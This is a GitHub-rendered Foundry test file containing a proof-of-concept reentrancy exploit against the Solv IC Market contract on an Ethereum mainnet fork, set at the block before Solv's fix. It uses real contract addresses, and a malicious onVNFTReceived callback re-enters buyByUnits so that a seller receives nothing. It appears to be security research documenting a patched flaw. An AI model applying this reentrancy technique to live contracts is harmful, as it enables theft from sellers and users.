-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathSolvReentrancy.t.sol
146 lines (115 loc) · 4.37 KB
/
SolvReentrancy.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
// SPDX-License-Identifier: MIT
// Author: Nitesh Dhanjani
pragma solidity ^0.8.13;
//this vulnerability was fixed by solv -> https://etherscan.io/tx/0xc6002001c0c38045401a2e5627e314941f20824f807ddfd7a0dc783133d743fa
//fixed at block 15888542, so test rolls to 15888542-1
import "lib/forge-std/src/Test.sol";
import "code/solv-v2-market/packages/solv-market/contracts/interface/ISolvICMarket.sol";
import "lib/openzeppelin-contracts/contracts/utils/Strings.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
//usdt is weird ie nonstandard returns
interface IERC20usdt {
function approve(address spender, uint256 amount) external;
function transferFrom(
address from,
address to,
uint256 value
) external;
function balanceOf(address account) external view returns (uint256);
}
interface Idodo {
function setApprovalForAll(address _operator, bool _approved) external;
}
contract SolvReentrancy is Test {
bool reentrant = false;
uint24 xsaleid = 0;
IERC20usdt usdt = IERC20usdt(0xdAC17F958D2ee523a2206206994597C13D831ec7);
ISolvICMarket market =
ISolvICMarket(0xD91A208995bfBde9D133c39417FBD352e595650b);
Idodo dodo = Idodo(0xaDB9AB302ECd551264a718d43aE6B3C255a8afa5);
function setUp() public {}
//exploit reentrancy such that the seller gets $0
//change value of saleid to whatever saleid is active (dodo hard coded)
function testReentrancy() public {
//fixed https://etherscan.io/tx/0xc6002001c0c38045401a2e5627e314941f20824f807ddfd7a0dc783133d743fa
//at block 15888542
//so rolling to 15888542-1
vm.rollFork(15888542 - 1);
reentrant = true;
uint24 saleid = 69; //changeme
uint24 mytokenid;
uint256 amountpurchased;
//start as whatever address is genreated with private key=1
vm.startPrank(vm.addr(1));
deal(address(usdt), vm.addr(1), 1000 * (10**6));
usdt.approve(address(market), 2**256 - 1);
//buy
(mytokenid, amountpurchased) = buyItembyUnits(saleid, 2 * (10**18));
//list it oursevles - we are the seller
saleid = listItemFixed(mytokenid, uint128(amountpurchased));
//clear out remaining usdt so we can check in the end if we made any money from the sale
usdt.approve(vm.addr(1), 2**256 - 1); //usdt is weird
usdt.transferFrom(vm.addr(1), vm.addr(2), usdt.balanceOf(vm.addr(1)));
vm.stopPrank();
//change to this contract address and buy to be able to fire onVNFTReceived
vm.startPrank(address(this));
deal(address(usdt), address(this), 1000000000000000);
usdt.approve(address(market), 2**256 - 1);
xsaleid = saleid;
//buy all but 1 units
buyItembyUnits(saleid, (2 * (10**18)) - 1);
//should show 0 when reentrant==true
console2.log("Seller was paid:", usdt.balanceOf(vm.addr(1)));
vm.stopPrank();
}
function listItemFixed(uint24 tokenId, uint128 amount)
internal
returns (uint24 saleid)
{
dodo.setApprovalForAll(address(market), true);
saleid = market.publishFixedPrice(
address(dodo),
tokenId,
address(usdt),
0,
0,
uint32(block.timestamp),
false,
amount
);
}
function buyItembyUnits(uint24 saleid, uint128 units)
internal
returns (uint24 tokenid, uint256 amountpurchased)
{
vm.recordLogs();
(amountpurchased, ) = market.buyByUnits(saleid, units);
Vm.Log[] memory entries = vm.getRecordedLogs();
for (uint256 y = 0; y < entries.length; y++) {
bytes32 temp;
temp = entries[y].topics[1];
if (
entries[y].topics[1] ==
bytes32(uint256(uint160(address(0))) << 96)
) {
tokenid = uint24(uint256(entries[y].topics[3]));
break;
}
}
}
function onVNFTReceived(
address,
address,
uint256,
uint256,
bytes memory
) external returns (bytes4) {
if (reentrant == true) {
reentrant = false;
//reentrancy
//buy the remaining 1 unit to cancel the storage item
market.buyByUnits(xsaleid, 1);
}
return this.onVNFTReceived.selector;
}
}